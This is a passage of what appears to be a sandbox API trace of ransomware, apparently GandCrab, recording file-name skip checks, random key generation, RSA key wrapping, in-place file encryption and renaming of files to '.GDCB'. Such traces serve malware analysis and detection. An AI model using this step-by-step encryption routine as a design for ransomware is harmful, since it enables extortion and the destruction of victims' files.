lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x2a00000*, lpNumberOfBytesRead=0x285d3e8*=0x2bc, lpOverlapped=0x0) returned 1 [0170.603] VirtualAlloc (lpAddress=0x0, dwSize=0x2c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b10000 [0170.603] VirtualAlloc (lpAddress=0x0, dwSize=0x2c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b20000 [0170.604] VirtualFree (lpAddress=0x2b10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.604] SetFilePointer (in: hFile=0x514, lDistanceToMove=-700, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.604] WriteFile (in: hFile=0x514, lpBuffer=0x2b20000*, nNumberOfBytesToWrite=0x2c0, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2b20000*, lpNumberOfBytesWritten=0x285d3e0*=0x2c0, lpOverlapped=0x0) returned 1 [0170.604] VirtualFree (lpAddress=0x2b20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.604] VirtualFree (lpAddress=0x2a00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.607] WriteFile (in: hFile=0x514, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0170.619] WriteFile (in: hFile=0x514, lpBuffer=0x29e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x29e0000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0170.619] WriteFile (in: hFile=0x514, lpBuffer=0x29f0000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x29f0000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0170.619] CloseHandle (hObject=0x514) returned 1 [0170.620] VirtualFree (lpAddress=0x29f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.620] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.620] VirtualFree (lpAddress=0x29e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.620] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\AdobeARM.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\adobearm.log.gdcb")) returned 0 [0170.623] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ArmUI.ini") returned 254 [0170.623] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ArmUI.ini") returned 254 [0170.623] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ArmUI.ini") returned 254 [0170.623] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ArmUI.ini") returned 254 [0170.623] lstrcmpiW (lpString1="ArmUI.ini", lpString2="desktop.ini") returned -1 [0170.623] lstrcmpiW (lpString1="ArmUI.ini", lpString2="autorun.inf") returned -1 [0170.623] lstrcmpiW (lpString1="ArmUI.ini", lpString2="ntuser.dat") returned -1 [0170.623] lstrcmpiW (lpString1="ArmUI.ini", lpString2="iconcache.db") returned -1 [0170.623] lstrcmpiW (lpString1="ArmUI.ini", lpString2="bootsect.bak") returned -1 [0170.623] lstrcmpiW (lpString1="ArmUI.ini", lpString2="boot.ini") returned -1 [0170.623] lstrcmpiW (lpString1="ArmUI.ini", lpString2="ntuser.dat.log") returned -1 [0170.623] lstrcmpiW (lpString1="ArmUI.ini", lpString2="thumbs.db") returned -1 [0170.623] lstrcmpiW (lpString1="ArmUI.ini", lpString2="GDCB-DECRYPT.txt") returned -1 [0170.623] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ArmUI.ini" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\armui.ini")) returned 0x20 [0170.624] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ArmUI.ini", dwFileAttributes=0x20) returned 1 [0170.626] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0170.627] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.627] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.627] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.627] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.627] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.627] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.628] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.628] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.628] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.628] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0170.630] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f5db0) returned 1 [0170.630] CryptGetKeyParam (in: hKey=0x5f5db0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.630] CryptEncrypt (in: hKey=0x5f5db0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x29d0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x29d0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.630] GetLastError () returned 0x0 [0170.630] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.630] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.632] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f5df0) returned 1 [0170.632] CryptGetKeyParam (in: hKey=0x5f5df0, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.632] CryptEncrypt (in: hKey=0x5f5df0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x29e0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x29e0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.632] GetLastError () returned 0x0 [0170.632] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.632] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ArmUI.ini" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\armui.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0170.634] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29f0000 [0170.634] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2a00000 [0170.634] ReadFile (in: hFile=0x514, lpBuffer=0x2a00000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x2a00000*, lpNumberOfBytesRead=0x285d3e8*=0x3ed84, lpOverlapped=0x0) returned 1 [0170.640] VirtualAlloc (lpAddress=0x0, dwSize=0x3ed90, flAllocationType=0x3000, flProtect=0x4) returned 0x2b10000 [0170.643] VirtualAlloc (lpAddress=0x0, dwSize=0x3ed90, flAllocationType=0x3000, flProtect=0x4) returned 0x2b50000 [0170.646] VirtualFree (lpAddress=0x2b10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.647] SetFilePointer (in: hFile=0x514, lDistanceToMove=-257412, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.647] WriteFile (in: hFile=0x514, lpBuffer=0x2b50000*, nNumberOfBytesToWrite=0x3ed90, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2b50000*, lpNumberOfBytesWritten=0x285d3e0*=0x3ed90, lpOverlapped=0x0) returned 1 [0170.648] VirtualFree (lpAddress=0x2b50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.648] VirtualFree (lpAddress=0x2a00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.652] WriteFile (in: hFile=0x514, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0170.652] WriteFile (in: hFile=0x514, lpBuffer=0x29e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x29e0000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0170.652] WriteFile (in: hFile=0x514, lpBuffer=0x29f0000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x29f0000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0170.652] CloseHandle (hObject=0x514) returned 1 [0170.655] VirtualFree (lpAddress=0x29f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.655] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.656] VirtualFree (lpAddress=0x29e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.656] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ArmUI.ini" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\armui.ini"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\ArmUI.ini.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\armui.ini.gdcb")) returned 1 [0170.659] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fY0zS5d.rtf") returned 256 [0170.659] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fY0zS5d.rtf") returned 256 [0170.659] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fY0zS5d.rtf") returned 256 [0170.659] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fY0zS5d.rtf") returned 256 [0170.659] lstrcmpiW (lpString1="fY0zS5d.rtf", lpString2="desktop.ini") returned 1 [0170.659] lstrcmpiW (lpString1="fY0zS5d.rtf", lpString2="autorun.inf") returned 1 [0170.659] lstrcmpiW (lpString1="fY0zS5d.rtf", lpString2="ntuser.dat") returned -1 [0170.659] lstrcmpiW (lpString1="fY0zS5d.rtf", lpString2="iconcache.db") returned -1 [0170.659] lstrcmpiW (lpString1="fY0zS5d.rtf", lpString2="bootsect.bak") returned 1 [0170.659] lstrcmpiW (lpString1="fY0zS5d.rtf", lpString2="boot.ini") returned 1 [0170.659] lstrcmpiW (lpString1="fY0zS5d.rtf", lpString2="ntuser.dat.log") returned -1 [0170.659] lstrcmpiW (lpString1="fY0zS5d.rtf", lpString2="thumbs.db") returned -1 [0170.659] lstrcmpiW (lpString1="fY0zS5d.rtf", lpString2="GDCB-DECRYPT.txt") returned -1 [0170.659] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fY0zS5d.rtf" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fy0zs5d.rtf")) returned 0x20 [0170.660] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fY0zS5d.rtf", dwFileAttributes=0x20) returned 1 [0170.662] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0170.662] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.663] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.663] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.663] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0170.663] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0170.663] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.663] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.663] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.663] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0170.663] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.666] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f5f30) returned 1 [0170.666] CryptGetKeyParam (in: hKey=0x5f5f30, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.666] CryptEncrypt (in: hKey=0x5f5f30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x29d0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x29d0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0170.666] GetLastError () returned 0x0 [0170.666] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.666] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0170.668] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f5e70) returned 1 [0170.668] CryptGetKeyParam (in: hKey=0x5f5e70, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.669] CryptEncrypt (in: hKey=0x5f5e70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x29e0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x29e0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0170.669] GetLastError () returned 0x0 [0170.669] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0170.669] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fY0zS5d.rtf" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fy0zs5d.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0170.672] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x29f0000 [0170.673] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2a00000 [0170.673] ReadFile (in: hFile=0x514, lpBuffer=0x2a00000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x2a00000*, lpNumberOfBytesRead=0x285d3e8*=0x853c, lpOverlapped=0x0) returned 1 [0170.680] VirtualAlloc (lpAddress=0x0, dwSize=0x8540, flAllocationType=0x3000, flProtect=0x4) returned 0x2b10000 [0170.680] VirtualAlloc (lpAddress=0x0, dwSize=0x8540, flAllocationType=0x3000, flProtect=0x4) returned 0x2b20000 [0170.681] VirtualFree (lpAddress=0x2b10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.681] SetFilePointer (in: hFile=0x514, lDistanceToMove=-34108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0170.681] WriteFile (in: hFile=0x514, lpBuffer=0x2b20000*, nNumberOfBytesToWrite=0x8540, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x2b20000*, lpNumberOfBytesWritten=0x285d3e0*=0x8540, lpOverlapped=0x0) returned 1 [0170.681] VirtualFree (lpAddress=0x2b20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.682] VirtualFree (lpAddress=0x2a00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.685] WriteFile (in: hFile=0x514, lpBuffer=0x29d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x29d0000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0170.685] WriteFile (in: hFile=0x514, lpBuffer=0x29e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x29e0000*, lpNumberOfBytesWritten=0x285d3e0*=0x100, lpOverlapped=0x0) returned 1 [0170.685] WriteFile (in: hFile=0x514, lpBuffer=0x29f0000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d3e0, lpOverlapped=0x0 | out: lpBuffer=0x29f0000*, lpNumberOfBytesWritten=0x285d3e0*=0x10, lpOverlapped=0x0) returned 1 [0170.685] CloseHandle (hObject=0x514) returned 1 [0170.686] VirtualFree (lpAddress=0x29f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.686] VirtualFree (lpAddress=0x29d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.686] VirtualFree (lpAddress=0x29e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.687] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fY0zS5d.rtf" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fy0zs5d.rtf"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\fY0zS5d.rtf.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\fy0zs5d.rtf.gdcb")) returned 0 [0170.689] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\GyoubGx88PJkao Y.mp3") returned 265 [0170.689] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\GyoubGx88PJkao Y.mp3") returned 265 [0170.689] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\GyoubGx88PJkao Y.mp3") returned 265 [0170.689] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\GyoubGx88PJkao Y.mp3") returned 265 [0170.689] lstrcmpiW (lpString1="GyoubGx88PJkao Y.mp3", lpString2="desktop.ini") returned 1 [0170.689] lstrcmpiW (lpString1="GyoubGx88PJkao Y.mp3", lpString2="autorun.inf") returned 1 [0170.689] lstrcmpiW (lpString1="GyoubGx88PJkao Y.mp3", lpString2="ntuser.dat") returned -1 [0170.689] lstrcmpiW (lpString1="GyoubGx88PJkao Y.mp3", lpString2="iconcache.db") returned -1 [0170.689] lstrcmpiW (lpString1="GyoubGx88PJkao Y.mp3", lpString2="bootsect.bak") returned 1 [0170.689] lstrcmpiW (lpString1="GyoubGx88PJkao Y.mp3", lpString2="boot.ini") returned 1 [0170.689] lstrcmpiW (lpString1="GyoubGx88PJkao Y.mp3", lpString2="ntuser.dat.log") returned -1 [0170.689] lstrcmpiW (lpString1="GyoubGx88PJkao Y.mp3", lpString2="thumbs.db") returned -1 [0170.689] lstrcmpiW (lpString1="GyoubGx88PJkao Y.mp3", lpString2="GDCB-DECRYPT.txt") returned 1 [0170.689] GetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\GyoubGx88PJkao Y.mp3" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\gyoubgx88pjkao y.mp3")) returned 0xffffffff [0170.690] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\GyoubGx88PJkao Y.mp3", dwFileAttributes=0xfffffffe) returned 0 [0170.690] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.690] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.690] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.690] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0170.690] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.690] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0170.691] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0170.691] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0170.691] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0170.691] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0170.691] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0170.693] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x5f5f70) returned 1 [0170.693] CryptGetKeyParam (in: hKey=0x5f5f70, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0170.693] 